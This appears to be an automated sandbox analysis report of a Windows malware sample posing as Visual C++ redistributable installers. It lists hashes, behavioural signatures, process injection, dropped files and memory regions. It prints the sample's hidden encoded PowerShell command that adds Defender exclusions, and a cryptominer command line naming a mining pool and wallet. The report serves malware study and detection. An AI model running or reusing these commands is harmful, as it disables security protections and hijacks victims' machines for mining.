Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250207-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-02-2025 13:52

General

  • Target

    2766e65bd149a68ec2a3f392eb55b713619b6374c81b5d03b0c074c3a33b9496.exe

  • Size

    5.4MB

  • MD5

    d2c01e16280221c756abe1fb041af7e5

  • SHA1

    f3031ba121acd543997c564d6ea05effe2187200

  • SHA256

    2766e65bd149a68ec2a3f392eb55b713619b6374c81b5d03b0c074c3a33b9496

  • SHA512

    becad27fbc0f957806509dcf5936c2f6b80df006e7a1ee3589b8472aa7abb5a4ec1ae8f4bb762bbb6c839448c3c478d1f96709d3f6ff62c339766c8a31ddf9ec

  • SSDEEP

    98304:Zs2we8ErfdMgg3X3sQzClYCg4p4eGOCYciJhHPXWmYRfs9DqgrFX6:mErfOh3s4h4p4uxPPXWmYREJrc

Malware Config

Signatures

  • Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 2 IoCs
  • Embeds OpenSSL 1 IoCs

    Embeds OpenSSL, may be used to circumvent TLS interception.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2766e65bd149a68ec2a3f392eb55b713619b6374c81b5d03b0c074c3a33b9496.exe
    "C:\Users\Admin\AppData\Local\Temp\2766e65bd149a68ec2a3f392eb55b713619b6374c81b5d03b0c074c3a33b9496.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2484
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4232
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe"
      2⤵
      • Enumerates VirtualBox registry keys
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:4456
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAUABlAHIAbQBpAHMAcwBpAG8AbgBTAGUAdABcAE0AZQB0AGgAbwBkAC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAUABlAHIAbQBpAHMAcwBpAG8AbgBTAGUAdABcAE0AZQB0AGgAbwBkAC4AZQB4AGUA
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2412
  • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
    "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7RUIxODVFRkEtNzA0OC00OTYwLUFDNjItNzBBNEU1MDEyNUQxfSIgdXNlcmlkPSJ7M0ZGQTE2QUItQ0NFMy00N0ZFLUI0QzEtMjVCQ0RENzZGMjJBfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NDQ5NUQ4OTMtOTAzQi00OUJBLUFFNTktNzlFODhERkRDMkRDfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIzIiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDU5MjEiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxODE5ODA3NzAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI0ODg4MzQ2MDQyIi8-PC9hcHA-PC9yZXF1ZXN0Pg
    1⤵
    • System Location Discovery: System Language Discovery
    • System Network Configuration Discovery: Internet Connection Discovery
    PID:2428
  • C:\Users\Admin\AppData\Roaming\PermissionSet\Method.exe
    C:\Users\Admin\AppData\Roaming\PermissionSet\Method.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3468
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3100
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u RVN:RX3AxWc9oV9n9E9uqRRyXpXh5kNuhqQyc5.RIG_CPU -p x --cpu-max-threads-hint=50
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:836

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe

    Filesize

    8.9MB

    MD5

    85ab275356bceff2054ea13155c72784

    SHA1

    993f669feda60c8dcddb7465cf0a7e650c3d9a4d

    SHA256

    940dfe413bd0cd025bf1780d7980385e5eb69391b909c60bfd7f3dda2d563256

    SHA512

    a288df1b95c179c6ae6b0611e1f934354a23a254fb3b374260e594bb02fd29501b34d53f48d94097dc3e110d5882abb833cc9aea7d69e4ebecb4d9fcda6546db

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe

    Filesize

    626KB

    MD5

    abab3febb6ef9c10eb9ecdbebbbc128c

    SHA1

    cda81cd8994098f779de7e1510049daf667fb844

    SHA256

    7614eb6c0d335ac226aec01e855d50c683d9b18529dfc066e51b3163c5f54f3d

    SHA512

    855993982c0660f85ac53defd959f56d912897b5f67afb673dfbf4c1b984abf81ba198ed22553c2aa94f239bcd40e45f7400a7c8c87e79f316f7496cd231db9c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m3dbtago.pkq.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2412-2631-0x000001FBF8600000-0x000001FBF8622000-memory.dmp

    Filesize

    136KB

  • memory/4232-55-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-75-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-51-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-45-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-85-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-83-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-81-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-79-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-77-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-73-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-71-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-69-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-67-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-65-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-63-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-43-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-59-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-57-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-35-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-53-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-2646-0x00007FFDD6580000-0x00007FFDD7041000-memory.dmp

    Filesize

    10.8MB

  • memory/4232-33-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-61-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-41-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-39-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-37-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-31-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-29-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-49-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-27-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-25-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-23-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-22-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-21-0x00007FFDD6580000-0x00007FFDD7041000-memory.dmp

    Filesize

    10.8MB

  • memory/4232-2626-0x0000020275160000-0x00000202751B6000-memory.dmp

    Filesize

    344KB

  • memory/4232-2627-0x0000020275300000-0x000002027534C000-memory.dmp

    Filesize

    304KB

  • memory/4232-2628-0x0000020275450000-0x00000202754A4000-memory.dmp

    Filesize

    336KB

  • memory/4232-2629-0x00007FFDD6583000-0x00007FFDD6585000-memory.dmp

    Filesize

    8KB

  • memory/4232-2630-0x00007FFDD6580000-0x00007FFDD7041000-memory.dmp

    Filesize

    10.8MB

  • memory/4232-20-0x0000020275200000-0x00000202752F8000-memory.dmp

    Filesize

    992KB

  • memory/4232-19-0x000002025ACD0000-0x000002025AD72000-memory.dmp

    Filesize

    648KB

  • memory/4232-47-0x0000020275200000-0x00000202752F3000-memory.dmp

    Filesize

    972KB

  • memory/4232-18-0x00007FFDD6583000-0x00007FFDD6585000-memory.dmp

    Filesize

    8KB